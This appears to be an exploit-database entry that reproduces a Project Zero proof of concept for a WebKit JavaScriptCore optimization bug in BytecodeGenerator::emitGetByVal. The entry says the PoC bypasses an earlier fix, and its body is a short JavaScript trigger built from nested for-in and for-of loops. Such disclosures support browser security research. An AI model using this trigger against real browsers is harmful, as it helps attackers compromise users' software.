ExploitFixes
WebKit JSC - 'BytecodeGenerator::emitGetByVal' Incorrect Optimization (2) 2017-10-04 18:05:02

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1319

The following PoC bypasses the fix for the issue 1263 (https://bugs.chromium.org/p/project-zero/issues/detail?id=1263)

PoC:
-->

function f() {
let o = {};
for (let i in {xx: 0}) {
for (i of [0]) {

}

print(o[i]);
}
}

f();